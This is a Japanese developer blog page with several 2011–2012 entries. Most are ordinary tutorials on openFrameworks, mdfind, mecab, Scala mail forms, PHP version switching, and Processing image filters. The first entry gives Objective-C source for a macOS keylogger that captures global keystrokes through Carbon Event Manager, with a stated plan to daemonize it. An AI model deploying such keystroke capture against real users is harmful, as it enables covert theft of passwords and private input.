Xcodeでキーロガーを作ろう (1)
[]

2012.01.18

このエントリーをはてなブックマークに追加
はてなブックマーク - Xcodeでキーロガーを作ろう (1)

env

  • OS X 10.6.8
  • Xcode 4.0.2

キーロガーの概要

  • Carbon Event Manager を使う
  • ユーザ空間で動くようにする => カーネルプログラミングなし
  • あわよくばデーモン化する => LaunchDaemon/Agent

Carbon Event Manager での簡単な実装

  • need Carbon.framework

list 1-1 (keyloggerAppDelegate.h):

#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>

@interface keyloggerAppDelegate : NSObject <NSApplicationDelegate> {
@private
    NSWindow *window;
}

@property (assign) IBOutlet NSWindow *window;

@end

list 1-2 (keyloggerAppDelegate.m):

#import "keyloggerAppDelegate.h"

@implementation keyloggerAppDelegate

@synthesize window;

OSStatus MyEventHandlerProc ( EventHandlerCallRef inHandlerCallRef,EventRef inEvent,void * inUserData)
{
    OSStatus result = eventNotHandledErr;
   
    // EventRecord what for ?
    /*
    EventRecord* rec;
    ConvertEventRefToEventRecord(inEvent, &rec);
    //NSLog(@"%s", rec.what);
    //printf("%i", rec->what);
    */

   
    // get event time on ocurred.
    EventTime t;
    t = GetEventTime(inEvent);
    NSLog(@"event time: %d", t);
   
    // get keyboard event parameters.
    UInt32 outData;
    OSStatus ret = GetEventParameter(inEvent, kEventParamKeyCode, typeUInt32, NULL, sizeof(outData), NULL, &outData);
    NSLog(@"%i", ret);
    if(ret == noErr){
        NSLog(@"keyCode: %i", outData);
    }
    else{
        NSLog(@"error occurred");
    }
    return result;
}

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
    EventTargetRef target = GetEventMonitorTarget();
   
    EventTypeSpec eventTypes[1];
    eventTypes[0].eventClass = kEventClassKeyboard;
    eventTypes[0].eventKind = kEventRawKeyDown;
   
    InstallEventHandler(
              target,
              &MyEventHandlerProc,
              1,
              eventTypes,
              NULL,
              NULL
    );
}

- (void)applicationWillTerminate:(NSNotification *)aNotification{
    NSLog(@"applicationWillTerminate");
}

@end

途中経過

FuelPHPをxhprofのCallGraphで表示した
[]

2012.01.15

このエントリーをはてなブックマークに追加
はてなブックマーク - FuelPHPをxhprofのCallGraphで表示した

env

  • PHP 5.3.8
  • XHProf 0.9.2

呼び出しグラフ

Summary

Snow Leopard + Xcode 4.02 で openFrameworks をセットアップ
[]

2012.01.11

このエントリーをはてなブックマークに追加
はてなブックマーク - Snow Leopard + Xcode 4.02 で openFrameworks をセットアップ

about

openFrameworks とはC++で書かれたオープンソースの{グラフィック、オーディオ}ライブラリ+開発ツールキットで、以下のようなことに使うそうだ:

  • OpenGL, GLEW, GLUT, libtess2 and cairo for graphics
  • rtAudio, PortAudio or FMOD and Kiss FFT for audio input, output and analysis
  • FreeType for fonts
  • FreeImage for image saving and loading
  • Quicktime and videoInput for video playback and grabbing
  • Poco for a variety of utilities

IDEは付属してないので、プラットフォームに合わせて自分で用意する。 Snow Leopard と Xcode 4.0.2 の組み合わせでも特に問題なく動くようだ。

env

  • OS X 10.6.8
  • Xcode 4.0.2

download openFrameworks

setup

詳細はここ:http://www.openframeworks.cc/setup/xcode/

  • 1: Xcodeをインストールする
  • 2: apps/examples/graphicsExample/graphicsExample.xcodeproj を開く
  • 3: ビルドして、動くかどうかを確かめる
    • 1: まず、左上のschemaセレクトボックス(fig1)から"openFrameworks"を選んで、ビルドする
    • 2: 次に、同じセレクトボックスのschemaから"graphicsExample"を選んで、ビルドしてアプリを実行してみる
  • 4: 無事動けば、セットアップ完了。

fig.1:

ビルド結果:

参考URL

以上

mdfind / mdls コマンド
[]

2011.12.30

このエントリーをはてなブックマークに追加
はてなブックマーク - mdfind / mdls コマンド

mdfindは Spotlightでも使われている検索機能をコマンドラインで行なうことができるコマンド。 基本的にはファイルの中身を検索するためのものだが、-name オプションでファイル名だけを検索することもできる。 他には、アプリが提供している検索用のメタデータで絞り込んだり。

それと、OS X のファイルシステムの文字コードはUTF8-MACなので、普通にls | grep "コマンド"というように濁点、半濁点を含んだファイル名を探そうとしても表示されないので、その場合にmdfindを使うと便利。

表示されない例:

$ ls ~/work/design_source/memo
networkプログラミング.md
nginxメモ.markdown
nmコマンド.md  //< == これを表示させたい
$ ls ~/work/design_source/memo | grep "コマンド"
// なにも表示されない!

表示される:)

$ mdfind -onlyin ~/work/design_source/memo -name コマンド
/Users/yokada/work/design_source/memo/nmコマンド.md

refs

Usage

mdfind [-live] [-count] [-onlyin directory] [-name fileName | -s smartFolderName | query]

-live

クエリー検索状態をアクティブに保ったままにする。

-count

マッチした件数のみを表示する。

-onlyin

指定したディレクトリ以下のみから検索する。

-name

ファイル名だけを検索する。

-s

Show contents of smart folder

-0

結果のパスの区切り文字をNULL文字にして、xargs -0 で受け取れるようにする。

-live

リアルタイム検索

$ mdfind -live

$ mdfind image
$ mdfind -onlyin ~ image
$ mdfind -name stdlib.h
$ mdfind "kMDItemAuthor == '*MyFavoriteAuthor*'"
$ mdfind -live MyFavoriteAuthor

関連コマンド

os xでportからmecabをインストール
[]

2011.12.30

このエントリーをはてなブックマークに追加
はてなブックマーク - os xでportからmecabをインストール

mecabをインストール

[yokada]$ sudo port intall mecab
[yokada]password:

辞書をダウンロード

http://iij.dl.sourceforge.jp/naist-jdic/45847/mecab-naist-jdic-0.6.2-20100208.tar.gz

辞書をインストール

[yokada]$ tar mecab-naist-jdic-0.6.2-20100208.tar.gz
[yokada]$ cd mecab-naist-jdic-0.6.2-20100208
[yokada]$ ./configure --with-charset=utf8
[yokada]$ make
[yokada]$ sudo make install

テスト

$ echo "今日、歯医者に行った" | mecab
今日  名詞,副詞可能,*,*,*,*,今日,コンニチ,コンニチ,,
、 記号,読点,*,*,*,*,、,、,、,,
歯医者 名詞,一般,*,*,*,*,歯医者,ハイシャ,ハイシャ,,
に 助詞,副詞化,*,*,*,*,に,ニ,ニ,,
行っ  動詞,非自立,*,*,五段・カ行促音便,連用タ接続,行く,イッ,イッ,,
た 助動詞,*,*,*,特殊・タ,基本形,た,タ,タ,,
EOS

Scalaでメール送信フォームのサンプル
[]

2011.11.27

このエントリーをはてなブックマークに追加
はてなブックマーク - Scalaでメール送信フォームのサンプル

about

env

  • Scala 2.8.2.final ( on MacPorts )
  • OS X 10.6.8
  • Eclipse ( Herios )

required jar

MyMailer

import scala.swing._
import scala.swing.event._
import javax.mail.internet.MimeMessage
import org.apache.commons.mail.SimpleEmail
import org.apache.commons.mail.EmailException

object MyMailer extends SimpleSwingApplication{
  val fromLabel = new Label("差出人:")
  val from = new TextField()
 
  val toLabel = new Label("宛先:")
  val to = new TextField()
 
  val subLabel = new Label("件名:")
  val sub = new TextField()
 
  val bodyLabel = new Label("本文:")
 
  val body = new TextArea {
    editable = true
    //preferredSize = new Dimension(100, 120)
    lineWrap = true
  }
 
  val submit = new Button(){
    action = Action("送信"){
      //println(body.text)
        enabled = false
       
      if(validate){
        try{
          sendMail
        }
        catch {
          case e:EmailException => println(e) // 怪しい1:
        }
        finally{
          enabled = true  // 怪しい2:ほんとはコールバックでセットしたい
        }
      }
    }
  }
 
  def top = new MainFrame {
    title = "MyMailer"
    contents = new GridPanel(5, 2){
      contents += fromLabel
      contents += from

      contents += toLabel
      contents += to

      contents += subLabel
      contents += sub

      contents += bodyLabel
      contents += body
     
      contents += submit
    }
  }
 
  def validate = {
    var ret = true
    ret = !from.text.isEmpty
    ret = !to.text.isEmpty
    ret = !sub.text.isEmpty
    ret = !body.text.isEmpty
    ret
  }

  def sendMail = {
    new SimpleEmail {
      charset = "UTF-8"
      hostName = "smtp.example.com"
      setAuthentication("username", "password")
      setSmtpPort(587)
      setTLS(true)
      setFrom(from.text)
      addTo(to.text)
      subject = sub.text
      setMsg(body.text)
    }.send
  }
}

Serverman@VPSのphpを動作確認用に5.2、5.3を切り替えられるようにする

2011.09.30

このエントリーをはてなブックマークに追加
はてなブックマーク - Serverman@VPSのphpを動作確認用に5.2、5.3を切り替えられるようにする

そろそろ、php5.3へ移行しないとなぁというわけで、 Serverman@VPSのphpを動作確認用に5.2、5.3を切り替えて 動作させられるようにした(同時実行はできない)。

env, conditions

  • DTI ServerMan@VPS
  • Cent OS 5.4(Final)
  • PHP 5.2.10とApache2はインストール済み

refs

php5.3.8のインストール

php5.3.8 source download http://php.net/downloads.php

$ mkdir /usr/local/php-5.3.8
$ tar zxf php-5.3.8.tar.gz
$ cd php-5.3.8
$ ./configure --prefix=/usr/local/php-5.3.8 --mandir=/usr/local/php-5.3.8/share/man --infodir=/usr/local/php-5.3.8/share/info --with-config-file-path=/usr/local/php-5.3.8/etc/php5 --with-config-file-scan-dir=/usr/local/php-5.3.8/var/db/php5 --enable-bcmath --enable-ctype --enable-dom --enable-filter --enable-hash --enable-json --enable-libxml --enable-mbstring --enable-pdo --enable-session --enable-simplexml --enable-tokenizer --enable-xml --enable-xmlreader --enable-xmlwriter --with-bz2=/usr --with-gd=/usr --with-mcrypt=/usr --with-mhash=/usr --with-mysql=/usr --with-pdo-mysql=/usr --with-pcre-regex=/usr --with-readline=/usr --with-libxml-dir=/usr --with-zlib=/usr --without-pear --disable-cgi --with-ldap=/usr --with-apxs2=/usr/sbin/apxs

makeによってphp-5.2.10のlibphp5.soは上書きされてしまうので、 その前にリネームしphp-5.3.8に上書きされないようにする:

 $ sudo mv /usr/lib/httpd/modules/libphp5.so /usr/lib/httpd/modules/libphp52.so

makeしてインストール:

$ make
$ sudo checkinstall #<== RPMを作っておくだけ(RPMが要らないならこの行は不要)
$ sudo make install

インストールを確認:

$ /usr/local/php-5.3.8/bin/php -v
PHP 5.3.8 (cli) (built: Sep 30 2011 16:34:26)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
$ /usr/local/php-5.3.8/bin/php -m
  [PHP Modules]
  bcmath
  bz2
  Core
  ctype
  date
  dom
  ereg
  fileinfo
  filter
  gd
  hash
  iconv
  json
  ldap
  libxml
  mbstring
  mcrypt
  mhash
  mysql
  pcre
  PDO
  pdo_mysql
  pdo_sqlite
  Phar
  posix
  readline
  Reflection
  session
  SimpleXML
  SPL
  SQLite
  sqlite3
  standard
  tokenizer
  xml
  xmlreader
  xmlwriter
  zlib
 
  [Zend Modules]

インストールされたlibphp5.soをphp5.3用として分かるようにリネーム:

$ sudo mv /usr/lib/httpd/modules/libphp5.so /usr/lib/httpd/modules/libphp53.so

httpd.confのphp5_moduleの読み込みをコメントアウトした:

$ vi /etc/httpd/conf/httpd.conf
#LoadModule php5_module modules/libphp5.so #<== コメントアウト
...
...
...
Include conf.d/*.conf

conf.d/php.confでphpモジュールを切り替えるようにした:

$ vi /etc/httpd/conf.d/php.conf
#LoadModule php5_module modules/libphp53.so
LoadModule php5_module modules/libphp52.so #<== php5.2を使う

設定ファイルの検査:

$ apachectl configtest
Syntax OK

configureで発生したエラー

configure: error: xml2-config not found. Please check your libxml2 installation.

# yum install libxml2-devel libxslt-devel

checking for PCRE headers location... configure: error: Could not find pcre.h in /usr

# yum install pcre-devel

configure: error: Please reinstall the BZip2 distribution

# yum install bzip2-devel

configure: error: mcrypt.h not found. Please reinstall libmcrypt.

# yum install libmcrypt-devel

configure: error: Please reinstall readline - I cannot find readline.h

# yum install readline-devel

以上。

proce55ingで画像処理
[]

2011.09.07

このエントリーをはてなブックマークに追加
はてなブックマーク - proce55ingで画像処理

アプリ開発で画像処理が必要になりそうなので 久しぶりになんか作ってみる。

動画でやってみる。

1. pointllize

proce55ingって、ほんとに便利ですね。

import processing.video.*;
Capture cap;

int pointillize = 16;

void setup()
{
  size(480, 320);
  background(0);
  cap = new Capture(this, width, height, 30);
}

void captureEvent(Capture cap) {
  cap.read();
}

void draw() {
  image(filter(), 0, 0);
}

PGraphics filter()
{
  loadPixels();
  cap.loadPixels();
  PGraphics pg = createGraphics(width, height, P3D);
  pg.beginDraw();
  pg.noStroke();
 
  for(int x=0; x<cap.width; x+=pointillize){
    for(int y=0; y<cap.height; y+=pointillize){
      int loc = x + y*cap.width;
      float r = red(cap.pixels[loc]);
      float g = green(cap.pixels[loc]);
      float b = blue(cap.pixels[loc]);
      pg.fill(r,g,b,255);
     
      pg.ellipse(x,y,pointillize,pointillize);
      //pg.rect(x,y,pointillize,pointillize);
    }
  }
 
  pg.endDraw();
  return pg;
}

2. pointllize2

// filter関数以外は全て(1)と同じ
// ... 省略
PGraphics filter()
{
  loadPixels();
  cap.loadPixels();
  PGraphics pg = createGraphics(width, height, P3D);
  pg.beginDraw();
  pg.noStroke();
 
  for(int i=0; i<100; i++){
    int x = int(random(cap.width));
    int y = int(random(cap.height));
    int loc = x + y*cap.width;
    float r = red(cap.pixels[loc]);
    float g = green(cap.pixels[loc]);
    float b = blue(cap.pixels[loc]);
    pg.fill(r,g,b,255);
    pg.ellipse(x,y,pointillize,pointillize);
  }
 
  pg.endDraw();
  return pg;
}

3. アウトライン化

// filter関数以外は全て(1)と同じ
// ... 省略
PGraphics filter()
{
  loadPixels();
  cap.loadPixels();
  PGraphics pg = createGraphics(width, height, P3D);
  pg.beginDraw();
  pg.noStroke();
 
  for(int x=0; x < width; x++){
    for(int y=0; y < height; y++){
      int loc = x + y * width;
        color pix = cap.pixels[loc];
      try{
        int leftLoc = (x-1) + y * width;
        color leftPix = cap.pixels[leftLoc];
       
        //float diff = abs(brightness(pix) - brightness(leftPix)) * 2;
        float r = abs(red(pix) - red(leftPix)) * 2;
        float g = abs(green(pix) - green(leftPix)) * 2;
        float b = abs(blue(pix) - blue(leftPix)) * 2;
       
        pg.pixels[loc] = color(r, g, b);
        pg.pixels[loc+1] = color(r, g, b);
        pg.pixels[loc-1] = color(r, g, b);
      }
      catch(Exception e){}
    }
  }
 
  pg.endDraw();
  return pg;
}

4. 2階調化

// filter関数以外は全て(1)と同じ
// ... 省略
PGraphics filter()
{
  int threshold = 100;
 
  loadPixels();
  cap.loadPixels();
  PGraphics pg = createGraphics(width, height, P3D);
  pg.beginDraw();
  pg.noStroke();
 
  for(int x=0; x < width; x++){
    for(int y=0; y < height; y++){
      int loc = x + y * width;

      if (brightness(cap.pixels[loc]) > threshold) {
        pg.pixels[loc]  = color(255);  // White
      }
      else {
        pg.pixels[loc]  = color(0);    // Black
      }
    }
  }
 
  pg.endDraw();
  return pg;
}

5. 移動平均法で平滑化

// smoothing operator

float[][] op = {
  {0.04, 0.04, 0.04, 0.04, 0.04}
  , {0.04, 0.04, 0.04, 0.04, 0.04}
  , {0.04, 0.04, 0.04, 0.04, 0.04}
  , {0.04, 0.04, 0.04, 0.04, 0.04}
  , {0.04, 0.04, 0.04, 0.04, 0.04}
};
int op_size = 5; // 5x5 matrix

/*
float[][] op = {
  {-1, -1, -1}
  , {-1, 9, -1}
  , {-1, -1, -1}
};
int op_size = 3; // 3x3 matrix
*/

import processing.video.*;
Capture cap;

void setup()
{
  size(480, 320);
  background(0);
  cap = new Capture(this, width, height, 30);
}

void captureEvent(Capture cap) {
  cap.read();
}

void draw() {
  image(filter(), 0, 0);
}

PGraphics filter()
{
  loadPixels();
  cap.loadPixels();
  PGraphics pg = createGraphics(width, height, P3D);
  pg.beginDraw();
  pg.noStroke();

  for (int x = 0; x < width; x++) {
    for (int y = 0; y < height; y++ ) {
      color c = convolution(x, y);
      int loc = x + y*cap.width;
      pg.pixels[loc] = c;
    }
  }
 
  pg.endDraw();
  return pg;
}

color convolution(int x, int y)
{
  float r = 0.0f;
  float g = 0.0f;
  float b = 0.0f;
  int offset = op_size / 2;
  for(int row=0; row<op_size; row++){
    for(int col=0; col < op_size; col++){
      int xloc = x+col-offset;
      int yloc = y+row-offset;
      int loc = xloc + cap.width*yloc;
      loc = constrain(loc,0,cap.pixels.length-1);
      r += (red(cap.pixels[loc]) * op[row][col]);
      g += (green(cap.pixels[loc]) * op[row][col]);
      b += (blue(cap.pixels[loc]) * op[row][col]);
    }
  }
 
  return color(r, g, b);
}

Core Data + PDF Kit で宛名面PDF作成アプリ
[]

2011.08.24

このエントリーをはてなブックマークに追加
はてなブックマーク - Core Data + PDF Kit で宛名面PDF作成アプリ

env

  • OS X 10.6.7
  • Xcode 4.0.2

key points

  • Core Data
    • Entities
      • Atene
        • address
        • name
        • postcode
        • title
    • NSArrayController
  • nib
    • NSTableView
  • PDF Kit(v10.4 or later)
    • PDFDocument
      • insertPage:atIndex
    • PDFPage
      • boundsForBox
      • drawWithBox

UI

refs

source

実績一覧

2011.08.17

このエントリーをはてなブックマークに追加
はてなブックマーク - 実績一覧

準備中